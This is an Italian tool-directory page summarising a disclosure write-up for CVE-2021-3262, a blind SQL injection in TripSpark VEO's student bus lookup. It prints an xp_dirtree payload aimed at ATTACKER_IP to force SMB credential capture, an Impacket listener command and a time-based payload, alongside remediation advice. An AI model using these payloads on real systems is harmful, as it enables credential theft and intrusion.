Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/l0lsec/cve-2021-3262
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPaper e RicercaApprendimento e FormazioneSicurezza dei Database
GitHubl0lsec/cve-2021-3262

CVE-2021-3262

CVE-2021-3262 - SQL Injection cieca nel parametro editOEN di TripSpark VEO Transportation / NovusEDU. Non autenticato, esposto su internet. Payload, richieste annotate ed evidenze.

Vedi Repository
27 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Sito web

CVE-2021-3262

Iniezione SQL in TripSpark VEO Transportation / NovusEDU

La pagina di ricerca pubblica "Student Busing Information" distribuita con TripSpark VEO Transportation accetta input non autenticati nel corpo della richiesta POST e li concatena in una query SQL Server senza parametrizzazione né validazione lato server. Il parametro editOEN (il campo del numero studente) è iniettabile.

L'iniezione è cieca: l'applicazione non restituisce errori di database né contenuti differenziali degni di lettura. È comunque completamente sfruttabile out-of-band, perché la connessione al database può raggiungere master.dbo.xp_dirtree, che costringe l'account di servizio di SQL Server ad autenticarsi in uscita via SMB verso un percorso UNC fornito dall'attaccante.

Trovata durante un penetration test esterno. Nell'incarico originale, la credenziale catturata dell'account di servizio è stata il punto d'accesso iniziale che ha portato al completo compromesso del dominio e della foresta Active Directory del cliente.

Pubblicata come CVE-2021-3262. Scoperta e segnalata da Sedric Louissaint di Show Up Show Out Security.


Riepilogo

CVECVE-2021-3262
ProdottoTripSpark VEO Transportation / NovusEDU
Versioni interessateNovusEDU-2.2.x-XP_BB-20201123-184084, VEO--20201123-184084OS
DebolezzaCWE-89: SQL Injection
CVSS 3.1 (NVD)9.8 Critico CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS 2 (ricercatore)9.0 AV:N/AC:L/Au:N/C:C/I:P/A:P
Pubblicato2023-08-29
Testato suWindows Server 2012 R2 Standard, SQL Server 2012 (SP3) 11.0.6020.0 (x64)
Autenticazione richiestaNessuna. La pagina di ricerca è esposta a Internet per progettazione.

Descrizione NVD:

TripSpark VEO Transportation-2.2.x-XP_BB-20201123-184084 NovusEDU-2.2.x-XP_BB-20201123-184084 consente input di dati non sicuri nei parametri del corpo POST da parte degli utenti finali, senza sanificazione tramite logica lato server. Era possibile iniettare comandi SQL personalizzati nelle query di ricerca "Student Busing Information".

Dettagli tecnici

La superficie esposta

I distretti scolastici distribuiscono la pagina "Student Busing Information" sui loro siti web pubblici così che i genitori possano cercare l'assegnazione del bus di uno studente. La pagina richiede un N Number dello studente e una data di nascita, ed è intenzionalmente non autenticata.

La pagina pubblica Student Busing Information

Il campo N Number viene inviato come editOEN. La data di nascita viene inviata come cboxMonth, cboxDay e cboxYear. editOEN è il parametro iniettabile.

Iniezione cieca

A differenza di molte applicazioni ASP.NET di questa epoca, questa pagina non restituisce errori di database. Non c'è alcuna differenza visibile tra una query ben formata e una non valida, quindi le tecniche in-band sono un vicolo cieco.

Le query impilate vengono eseguite, ed è tutto ciò che serve.

Sfruttamento out-of-band tramite xp_dirtree

master.dbo.xp_dirtree enumera una directory. Dato un percorso UNC, SQL Server si autentica verso l'host di destinazione via SMB prima di leggerlo. Puntarlo verso un listener trasforma un'iniezione silenziosa in una visibile:

root@kitploit:~
123';declare @q varchar(99);set @q='\\ATTACKER_IP'+'\fro'; exec master.dbo.xp_dirtree @q;--

Il payload nel parametro editOEN

La richiesta è un normale POST ASP.NET WebForms, di circa 4.700 byte, la maggior parte dei quali è __VIEWSTATE. La richiesta completa è in poc/exploited-request.http, i payload in poc/payloads.sql.

La richiesta HTTP sfruttata

Autenticazione catturata

Con smbserver.py di Impacket in ascolto su un host su Internet pubblico, il server di database all'interno della rete del distretto si autentica in uscita:

root@kitploit:~
[*] Incoming connection (204.x.x.x,58497)
[*] AUTHENTICATE_MESSAGE (\SQLServices,<REDACTED>-VEO-DB)
[*] User <REDACTED>-VEO-DB\SQLServices authenticated successfully
[*] SQLServices::...

Autenticazione forzata catturata con Impacket

Due cose meritano di essere dette esplicitamente. Primo: si tratta di un modulo non autenticato esposto a Internet che raggiunge un database di produzione. Secondo: a quel server di database era consentito aprire connessioni SMB in uscita verso host Internet arbitrari, ed è ciò che ha reso osservabile l'iniezione cieca.

Impatto

Oltre all'iniezione stessa, la credenziale NTLMv2 catturata per l'account di servizio di SQL Server è stata il punto d'accesso iniziale nell'incarico originale. Da lì, il test è proseguito fino al completo compromesso del dominio e della foresta Active Directory del cliente.

I dati a rischio sono i registri del trasporto scolastico degli studenti: nomi, indirizzi di casa, bus assegnato, fermata assegnata, orari di prelievo e percorsi per l'educazione speciale. Si tratta di una pianificazione di dove bambini identificabili si troveranno fisicamente in momenti noti.

Riproduzione

Contro un'istanza di laboratorio di tua proprietà o che sei autorizzato a testare:

  1. Caricare la pagina "Student Busing Information".
  2. Avviare un listener su un host raggiungibile dal target:
    root@kitploit:~
    sudo smbserver.py c . -smb2support
    
  3. Inviare il modulo con il payload xp_dirtree da poc/payloads.sql nel campo N Number, sostituendo il proprio IP. Catturare e riprodurre la POST invece di digitare nel browser se il campo ha un limite di lunghezza lato client, poiché quel limite non esiste lato server.
  4. Una build vulnerabile produce un'autenticazione SMB in entrata dall'account di servizio di SQL Server. Non cambia nulla nella risposta HTTP.
  5. La conferma basata sul tempo funziona anche se non puoi ricevere SMB in entrata:
    root@kitploit:~
    123'; waitfor delay '0:0:10';--
    

Contenuto del repository

root@kitploit:~
poc/
  payloads.sql            Detection, time-based and out-of-band payloads for editOEN
  exploited-request.http  The full POST request, ready for sqlmap -r
  sqlmap.md               sqlmap invocations for a blind stacked-query injection
media/
  01-student-busing-information-page.png
  02-editoen-payload-in-burp.png
  03-forced-auth-captured-impacket.png
  04-exploited-http-request.png

Gli identificativi dei client nelle catture sono oscurati. Gli indirizzi dei listener provengono dall'incarico originale e non sono più attivi. Sostituiscili con i tuoi durante la riproduzione.

Rimedi

  1. Query parametrizzate. Legare editOEN come parametro e il payload diventa una stringa inerte, qualunque cosa contenga.
  2. Validazione lato server. Un numero studente è breve e numerico. Imporlo sul server, non nel modulo.
  3. Principio del minimo privilegio per l'account del database. L'account dietro una pagina di ricerca pubblica deve poter leggere le assegnazioni dei bus e nient'altro. Revocare l'accesso a xp_dirtree e alle altre stored procedure estese.
  4. Filtraggio del traffico in uscita (egress filtering). Un server di database di un distretto scolastico non ha alcun motivo di aprire connessioni SMB verso Internet. Bloccare la porta 445 in uscita rimuove il canale out-of-band.
  5. Separare il modulo pubblico dal sistema di riferimento (system of record). La pagina usata dai genitori dovrebbe interrogare una replica limitata, non il database di produzione che contiene anche i percorsi dell'educazione speciale.

Cronologia

DataEvento
2021Trovata durante un penetration test esterno e segnalata a TripSpark
2023-08-29CVE-2021-3262 pubblicata su NVD, valutata 9.8 Critico

Approfondimenti

  • Account personale: https://sedriclouissaint.com/blog/tripspark-veo-sql-injection-cve-2021-3262/
  • Show Up Show Out Security: https://susos.co/blog/sqlspark-sql-injection-in-tripspark-veo-transport-cve-2021-3262

Dichiarazione di non responsabilità

Pubblicato dopo la divulgazione, per uso difensivo ed educativo. Non eseguire questi payload contro sistemi che non possiedi o per i quali non hai un'autorizzazione scritta al test. Se amministri una distribuzione distrettuale, l'azione utile qui è chiedere al tuo fornitore, per iscritto, se le query dietro i tuoi moduli pubblici sono parametrizzate.

Scarica lo strumento